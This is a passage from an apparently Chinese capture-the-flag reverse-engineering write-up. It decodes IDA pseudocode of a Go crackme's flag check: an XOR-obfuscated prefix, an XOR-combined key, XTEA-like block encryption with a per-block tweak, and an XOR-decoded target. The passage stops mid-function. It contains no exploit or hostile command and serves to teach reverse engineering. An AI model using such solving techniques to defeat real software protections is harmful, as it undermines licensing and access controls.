<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="k">for</span> <span class="p">(</span> <span class="n">j</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">j</span> <span class="o">&lt;</span> <span class="mi">4</span><span class="p">;</span> <span class="o">++</span><span class="n">j</span> <span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="nf">LODWORD</span><span class="p">(</span><span class="n">v15</span><span class="p">)</span> <span class="o">=</span> <span class="n">n0x20_0</span><span class="p">[</span><span class="n">j</span><span class="p">]</span> <span class="o">^</span> <span class="n">dword_140187830</span><span class="p">[</span><span class="n">j</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">  <span class="o">*</span><span class="p">((</span><span class="n">_DWORD</span> <span class="o">*</span><span class="p">)</span><span class="o">&amp;</span><span class="n">v34</span> <span class="o">+</span> <span class="n">j</span><span class="p">)</span> <span class="o">=</span> <span class="p">(</span><span class="n">_DWORD</span><span class="p">)</span><span class="n">v15</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>这里有两个 <code>uint32</code> 数组，逐项异或后放进 <code>v34</code>。可以理解为：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="n">key</span><span class="p">[</span><span class="n">j</span><span class="p">]</span> <span class="o">=</span> <span class="n">keyA</span><span class="p">[</span><span class="n">j</span><span class="p">]</span> <span class="o">^</span> <span class="n">keyB</span><span class="p">[</span><span class="n">j</span><span class="p">];</span>
</span></span></code></pre></div><p>之后是分块加密：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="k">for</span> <span class="p">(</span> <span class="n">k</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">k</span> <span class="o">&lt;</span> <span class="mi">2</span><span class="p">;</span> <span class="n">k</span> <span class="o">=</span> <span class="n">k_1</span> <span class="o">+</span> <span class="mi">1</span> <span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="nf">sub_1400A7A00</span><span class="p">((</span><span class="kt">unsigned</span> <span class="kt">int</span><span class="p">)</span><span class="n">v38</span> <span class="o">+</span> <span class="mi">8</span> <span class="o">*</span> <span class="n">k</span><span class="p">,</span> <span class="mi">8</span><span class="p">,</span> <span class="mi">16</span> <span class="o">-</span> <span class="mi">8</span> <span class="o">*</span> <span class="n">k</span><span class="p">,</span> <span class="n">k</span><span class="p">,</span> <span class="p">...,</span> <span class="n">v35</span><span class="p">,</span> <span class="n">v33</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>这里循环 2 次，每次偏移 <code>8 * k</code>，说明中间 16 字节会被分成两个 8 字节块处理。<code>sub_1400A7A00</code> 就是关键加密函数，继续点进去分析即可。若在该函数中看到：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">0x9e3779b9
</span></span><span class="line"><span class="cl">左移 4
</span></span><span class="line"><span class="cl">右移 5
</span></span><span class="line"><span class="cl">32 轮循环
</span></span><span class="line"><span class="cl">两个 uint32 变量互相更新
</span></span></code></pre></div><p>基本就可以判断是 TEA / XTEA 风格算法。</p>
<p>目标密文也不是直接比较，而是先解一层异或：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="n">v26</span> <span class="o">=</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kr">__int8</span> <span class="o">*</span><span class="p">)</span><span class="n">off_14018CAF0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="p">(</span> <span class="n">m</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="p">(</span><span class="kr">__int64</span><span class="p">)</span><span class="n">m</span> <span class="o">&lt;</span> <span class="n">n0x20_1</span><span class="p">;</span> <span class="o">++</span><span class="n">m</span> <span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="n">v29</span> <span class="o">=</span> <span class="n">v26</span><span class="p">[</span><span class="n">m</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">  <span class="o">*</span><span class="p">((</span><span class="n">_BYTE</span> <span class="o">*</span><span class="p">)</span><span class="n">v25</span> <span class="o">+</span> <span class="n">m</span><span class="p">)</span> <span class="o">=</span> <span class="n">v29</span> <span class="o">^</span> <span class="p">(</span><span class="mi">17</span> <span class="o">*</span> <span class="n">m</span> <span class="o">+</span> <span class="mi">90</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p><code>90</code> 的十六进制是 <code>0x5a</code>，所以这段等价于：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">target</span><span class="p">[</span><span class="n">m</span><span class="p">]</span> <span class="o">=</span> <span class="n">vault</span><span class="p">[</span><span class="n">m</span><span class="p">]</span> <span class="o">^</span> <span class="p">((</span><span class="mi">17</span> <span class="o">*</span> <span class="n">m</span> <span class="o">+</span> <span class="mh">0x5a</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xff</span><span class="p">)</span>
</span></span></code></pre></div><p>最后比较逻辑是：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="k">while</span> <span class="p">(</span> <span class="n">n16</span> <span class="o">&lt;</span> <span class="mi">16</span> <span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="n">v31</span> <span class="o">|=</span> <span class="o">*</span><span class="p">((</span><span class="n">_BYTE</span> <span class="o">*</span><span class="p">)</span><span class="n">v38</span> <span class="o">+</span> <span class="n">n16</span><span class="p">)</span> <span class="o">^</span> <span class="o">*</span><span class="p">((</span><span class="n">_BYTE</span> <span class="o">*</span><span class="p">)</span><span class="n">v25</span> <span class="o">+</span> <span class="n">n16</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="o">++</span><span class="n">n16</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="k">return</span> <span class="n">v31</span> <span class="o">==</span> <span class="mi">0</span><span class="p">;</span>
</span></span></code></pre></div><p>这也是一种常量时间比较，意思是：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="k">return</span> <span class="n">encrypted_body</span> <span class="o">==</span> <span class="n">target</span><span class="p">;</span>
</span></span></code></pre></div><p>所以这一整段 IDA 伪代码可以整理成更清晰的伪代码：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="kt">bool</span> <span class="nf">verify</span><span class="p">(</span><span class="n">input</span><span class="p">,</span> <span class="n">len</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="n">len</span> <span class="o">!=</span> <span class="mi">22</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="nb">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">prefix</span> <span class="o">=</span> <span class="nf">xor_each</span><span class="p">(</span><span class="s">&#34;W]PVJ&#34;</span><span class="p">,</span> <span class="mh">0x31</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="n">input</span><span class="p">[</span><span class="mi">0</span><span class="o">:</span><span class="mi">5</span><span class="p">]</span> <span class="o">!=</span> <span class="n">prefix</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="nb">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="n">input</span><span class="p">[</span><span class="mi">21</span><span class="p">]</span> <span class="o">!=</span> <span class="sc">&#39;}&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="nb">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">body</span> <span class="o">=</span> <span class="n">input</span><span class="p">[</span><span class="mi">5</span><span class="o">:</span><span class="mi">21</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">    <span class="n">key</span> <span class="o">=</span> <span class="n">keyA</span> <span class="o">^</span> <span class="n">keyB</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="p">(</span><span class="n">k</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">k</span> <span class="o">&lt;</span> <span class="mi">2</span><span class="p">;</span> <span class="n">k</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nf">encrypt_block</span><span class="p">(</span><span class="n">body</span> <span class="o">+</span> <span class="mi">8</span> <span class="o">*</span> <span class="n">k</span><span class="p">,</span> <span class="n">key</span><span class="p">,</span> <span class="n">k</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">target</span> <span class="o">=</span> <span class="nf">decode_vault</span><span class="p">(</span><span class="n">vault</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">body</span> <span class="o">==</span> <span class="n">target</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>这就是后续写逆向脚本所需的全部外层信息。</p>
<p>对加密函数 IDA 伪代码分析，外层校验函数中调用的：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="nf">sub_1400A7A00</span><span class="p">((</span><span class="kt">unsigned</span> <span class="kt">int</span><span class="p">)</span><span class="n">v38</span> <span class="o">+</span> <span class="mi">8</span> <span class="o">*</span> <span class="n">k</span><span class="p">,</span> <span class="mi">8</span><span class="p">,</span> <span class="mi">16</span> <span class="o">-</span> <span class="mi">8</span> <span class="o">*</span> <span class="n">k</span><span class="p">,</span> <span class="n">k</span><span class="p">,</span> <span class="p">...,</span> <span class="n">v35</span><span class="p">,</span> <span class="n">v33</span><span class="p">);</span>
</span></span></code></pre></div><p>就是核心加密函数。IDA 反编译结果中会出现类似：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="kt">unsigned</span> <span class="kt">int</span> <span class="o">*</span><span class="n">__golang</span> <span class="nf">sub_1400A7A00</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">        <span class="kt">unsigned</span> <span class="kt">int</span> <span class="o">*</span><span class="n">result</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="kt">unsigned</span> <span class="kr">__int64</span> <span class="n">n8</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="kt">unsigned</span> <span class="kr">__int64</span> <span class="n">n4</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="kr">__int64</span> <span class="n">k</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="p">...,</span>
</span></span><span class="line"><span class="cl">        <span class="n">__int128</span> <span class="n">a10</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">v10</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">v14</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="kt">int</span> <span class="n">v13</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">__int128</span> <span class="n">v18</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="n">v10</span> <span class="o">=</span> <span class="o">*</span><span class="n">result</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="p">...</span>
</span></span><span class="line"><span class="cl">  <span class="n">v13</span> <span class="o">=</span> <span class="mi">16843009</span> <span class="o">*</span> <span class="n">k</span> <span class="o">+</span> <span class="mi">16843009</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">v14</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="kt">unsigned</span> <span class="kt">int</span> <span class="o">*</span><span class="p">)((</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="n">result</span> <span class="o">+</span> <span class="mi">4</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="n">v18</span> <span class="o">=</span> <span class="n">a10</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="k">for</span> <span class="p">(</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="mi">4</span><span class="p">;</span> <span class="o">++</span><span class="n">i</span> <span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="o">*</span><span class="p">((</span><span class="n">_DWORD</span> <span class="o">*</span><span class="p">)</span><span class="o">&amp;</span><span class="n">v18</span> <span class="o">+</span> <span class="n">i</span><span class="p">)</span> <span class="o">^=</span> <span class="n">v13</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="n">n32</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">v17</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="k">while</span> <span class="p">(</span> <span class="n">n32</span> <span class="o">&lt;</span> <span class="mi">32</span> <span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">v10</span> <span class="o">+=</span> <span class="p">(</span><span class="n">v14</span> <span class="o">+</span> <span class="p">((</span><span class="mi">16</span> <span class="o">*</span> <span class="n">v14</span><span class="p">)</span> <span class="o">^</span> <span class="p">(</span><span class="n">v14</span> <span class="o">&gt;&gt;</span> <span class="mi">5</span><span class="p">)))</span> <span class="o">^</span> <span class="p">(</span><span class="n">v17</span> <span class="o">+</span> <span class="o">*</span><span class="p">((</span><span class="n">_DWORD</span> <span class="o">*</span><span class="p">)</span><span class="o">&amp;</span><span class="n">v18</span> <span class="o">+</span> <span class="p">(</span><span class="n">v17</span> <span class="o">&amp;</span> <span class="mi">3</span><span class="p">)));</span>
</span></span><span class="line"><span class="cl">    <span class="n">v14</span> <span class="o">+=</span> <span class="p">(</span><span class="n">v10</span> <span class="o">+</span> <span class="p">((</span><span class="mi">16</span> <span class="o">*</span> <span class="n">v10</span><span class="p">)</span> <span class="o">^</span> <span class="p">(</span><span class="n">v10</span> <span class="o">&gt;&gt;</span> <span class="mi">5</span><span class="p">)))</span>
</span></span><span class="line"><span class="cl">         <span class="o">^</span> <span class="p">(</span><span class="n">v17</span> <span class="o">+</span> <span class="o">*</span><span class="p">((</span><span class="n">_DWORD</span> <span class="o">*</span><span class="p">)</span><span class="o">&amp;</span><span class="n">v18</span> <span class="o">+</span> <span class="p">(((</span><span class="kt">unsigned</span> <span class="kt">int</span><span class="p">)(</span><span class="n">v17</span> <span class="o">-</span> <span class="mi">1640531527</span><span class="p">)</span> <span class="o">&gt;&gt;</span> <span class="mi">11</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mi">3</span><span class="p">))</span> <span class="o">-</span> <span class="mi">1640531527</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="o">++</span><span class="n">n32</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="n">v17</span> <span class="o">-=</span> <span class="mi">1640531527</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="o">*</span><span class="n">result</span> <span class="o">=</span> <span class="n">v10</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="o">*</span><span class="p">(</span><span class="kt">unsigned</span> <span class="kt">int</span> <span class="o">*</span><span class="p">)((</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="n">result</span> <span class="o">+</span> <span class="mi">4</span><span class="p">)</span> <span class="o">=</span> <span class="n">v14</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="n">result</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>这段函数前面的：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="k">if</span> <span class="p">(</span> <span class="n">n4</span> <span class="o">&lt;</span> <span class="mi">4</span> <span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="nf">sub_14007C700</span><span class="p">(...);</span>
</span></span></code></pre></div><p>以及类似的判断，是 Go 编译器插入的边界检查。<code>sub_14007C700</code> 通常是 panic 相关逻辑，逆向算法时可以先忽略。</p>
<p>真正有用的部分从这里开始：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="n">v10</span> <span class="o">=</span> <span class="o">*</span><span class="n">result</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="n">v14</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="kt">unsigned</span> <span class="kt">int</span> <span class="o">*</span><span class="p">)((</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="n">result</span> <span class="o">+</span> <span class="mi">4</span><span class="p">);</span>
</span></span></code></pre></div><p><code>result</code> 指向当前 8 字节块，所以这里是在按小端读取两个 <code>uint32</code>：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="n">v0</span> <span class="o">=</span> <span class="n">block</span><span class="p">[</span><span class="mi">0</span><span class="o">:</span><span class="mi">4</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="n">v1</span> <span class="o">=</span> <span class="n">block</span><span class="p">[</span><span class="mi">4</span><span class="o">:</span><span class="mi">8</span><span class="p">]</span>
</span></span></code></pre></div><p>接着：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="n">v13</span> <span class="o">=</span> <span class="mi">16843009</span> <span class="o">*</span> <span class="n">k</span> <span class="o">+</span> <span class="mi">16843009</span><span class="p">;</span>
</span></span></code></pre></div><p><code>16843009</code> 的十六进制是：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">0x01010101
</span></span></code></pre></div><p>所以它等价于：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="n">tweak</span> <span class="o">=</span> <span class="p">(</span><span class="n">k</span> <span class="o">+</span> <span class="mi">1</span><span class="p">)</span> <span class="o">*</span> <span class="mh">0x01010101</span><span class="p">;</span>
</span></span></code></pre></div><p>这里的 <code>k</code> 是块号。第 0 块使用 <code>0x01010101</code>，第 1 块使用 <code>0x02020202</code>。</p>
<p>然后：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="n">v18</span> <span class="o">=</span> <span class="n">a10</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="p">(</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="mi">4</span><span class="p">;</span> <span class="o">++</span><span class="n">i</span> <span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="o">*</span><span class="p">((</span><span class="n">_DWORD</span> <span class="o">*</span><span class="p">)</span><span class="o">&amp;</span><span class="n">v18</span> <span class="o">+</span> <span class="n">i</span><span class="p">)</span> <span class="o">^=</span> <span class="n">v13</span><span class="p">;</span>
</span></span></code></pre></div><p><code>a10</code> 是外层传进来的 128 位 key，也就是 4 个 <code>uint32</code>。这段是在对每个 key 分量做块号扰动：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">local_key</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">key</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">^</span> <span class="n">tweak</span>
</span></span></code></pre></div><p>再看循环：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="n">n32</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="n">v17</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="k">while</span> <span class="p">(</span> <span class="n">n32</span> <span class="o">&lt;</span> <span class="mi">32</span> <span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="p">...</span>
</span></span><span class="line"><span class="cl">  <span class="o">++</span><span class="n">n32</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">v17</span> <span class="o">-=</span> <span class="mi">1640531527</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>循环次数是 32。<code>1640531527</code> 的十六进制是：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">0x61c88647
</span></span></code></pre></div><p>而：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">-0x61c88647 mod 2^32 = 0x9e3779b9
</span></span></code></pre></div><p><code>0x9e3779b9</code> 是 TEA / XTEA 系列算法的经典 delta 常量。因此：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="n">v17</span> <span class="o">-=</span> <span class="mi">1640531527</span><span class="p">;</span>
</span></span></code></pre></div><p>在 <code>uint32</code> 语义下等价于：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="n">sum</span> <span class="o">+=</span> <span class="mh">0x9e3779b9</span><span class="p">;</span>
</span></span></code></pre></div><p>循环主体可以整理为更清楚的形式：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="n">v0</span> <span class="o">+=</span> <span class="p">(((</span><span class="n">v1</span> <span class="o">&lt;&lt;</span> <span class="mi">4</span><span class="p">)</span> <span class="o">^</span> <span class="p">(</span><span class="n">v1</span> <span class="o">&gt;&gt;</span> <span class="mi">5</span><span class="p">))</span> <span class="o">+</span> <span class="n">v1</span><span class="p">)</span> <span class="o">^</span> <span class="p">(</span><span class="n">sum</span> <span class="o">+</span> <span class="n">local_key</span><span class="p">[</span><span class="n">sum</span> <span class="o">&amp;</span> <span class="mi">3</span><span class="p">]);</span>
</span></span><span class="line"><span class="cl"><span class="n">sum</span> <span class="o">+=</span> <span class="n">delta</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="n">v1</span> <span class="o">+=</span> <span class="p">(((</span><span class="n">v0</span> <span class="o">&lt;&lt;</span> <span class="mi">4</span><span class="p">)</span> <span class="o">^</span> <span class="p">(</span><span class="n">v0</span> <span class="o">&gt;&gt;</span> <span class="mi">5</span><span class="p">))</span> <span class="o">+</span> <span class="n">v0</span><span class="p">)</span> <span class="o">^</span> <span class="p">(</span><span class="n">sum</span> <span class="o">+</span> <span class="n">local_key</span><span class="p">[(</span><span class="n">sum</span> <span class="o">&gt;&gt;</span> <span class="mi">11</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mi">3</span><span class="p">]);</span>
</span></span></code></pre></div><p>其中：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="mi">16</span> <span class="o">*</span> <span class="n">v14</span>
</span></span></code></pre></div><p>就是：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="n">v14</span> <span class="o">&lt;&lt;</span> <span class="mi">4</span>
</span></span></code></pre></div><p>所以出现：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="mi">16</span> <span class="o">*</span> <span class="n">v14</span>
</span></span><span class="line"><span class="cl"><span class="n">v14</span> <span class="o">&gt;&gt;</span> <span class="mi">5</span>
</span></span><span class="line"><span class="cl"><span class="n">v17</span> <span class="o">&amp;</span> <span class="mi">3</span>
</span></span><span class="line"><span class="cl"><span class="p">(</span><span class="n">v17</span> <span class="o">-</span> <span class="mi">1640531527</span><span class="p">)</span> <span class="o">&gt;&gt;</span> <span class="mi">11</span>
</span></span><span class="line"><span class="cl"><span class="mi">32</span> <span class="err">轮</span>
</span></span></code></pre></div><p>这些特征时，基本可以判断这是 XTEA-like 算法。</p>
<p>整理后的加密伪代码如下：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="kt">void</span> <span class="nf">encrypt_block</span><span class="p">(</span><span class="kt">uint8_t</span> <span class="n">block</span><span class="p">[</span><span class="mi">8</span><span class="p">],</span> <span class="kt">uint32_t</span> <span class="n">key</span><span class="p">[</span><span class="mi">4</span><span class="p">],</span> <span class="kt">int</span> <span class="n">block_id</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="kt">uint32_t</span> <span class="n">v0</span> <span class="o">=</span> <span class="nf">read_u32_le</span><span class="p">(</span><span class="n">block</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="kt">uint32_t</span> <span class="n">v1</span> <span class="o">=</span> <span class="nf">read_u32_le</span><span class="p">(</span><span class="n">block</span> <span class="o">+</span> <span class="mi">4</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="kt">uint32_t</span> <span class="n">sum</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kt">uint32_t</span> <span class="n">delta</span> <span class="o">=</span> <span class="mh">0x9e3779b9</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kt">uint32_t</span> <span class="n">local</span><span class="p">[</span><span class="mi">4</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">    <span class="kt">uint32_t</span> <span class="n">tweak</span> <span class="o">=</span> <span class="p">(</span><span class="n">block_id</span> <span class="o">+</span> <span class="mi">1</span><span class="p">)</span> <span class="o">*</span> <span class="mh">0x01010101</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="mi">4</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="n">local</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">key</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">^</span> <span class="n">tweak</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">round</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">round</span> <span class="o">&lt;</span> <span class="mi">32</span><span class="p">;</span> <span class="n">round</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="n">v0</span> <span class="o">+=</span> <span class="p">(((</span><span class="n">v1</span> <span class="o">&lt;&lt;</span> <span class="mi">4</span><span class="p">)</span> <span class="o">^</span> <span class="p">(</span><span class="n">v1</span> <span class="o">&gt;&gt;</span> <span class="mi">5</span><span class="p">))</span> <span class="o">+</span> <span class="n">v1</span><span class="p">)</span> <span class="o">^</span> <span class="p">(</span><span class="n">sum</span> <span class="o">+</span> <span class="n">local</span><span class="p">[</span><span class="n">sum</span> <span class="o">&amp;</span> <span class="mi">3</span><span class="p">]);</span>
</span></span><span class="line"><span class="cl">        <span class="n">sum</span> <span class="o">+=</span> <span class="n">delta</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="n">v1</span> <span class="o">+=</span> <span class="p">(((</span><span class="n">v0</span> <span class="o">&lt;&lt;</span> <span class="mi">4</span><span class="p">)</span> <span class="o">^</span> <span class="p">(</span><span class="n">v0</span> <span class="o">&gt;&gt;</span> <span class="mi">5</span><span class="p">))</span> <span class="o">+</span> <span class="n">v0</span><span class="p">)</span> <span class="o">^</span> <span class="p">(</span><span class="n">sum</span> <span class="o">+</span> <span class="n">local</span><span class="p">[(</span><span class="n">sum</span> <span class="o">&gt;&gt;</span> <span class="mi">11</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mi">3</span><span class="p">]);</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
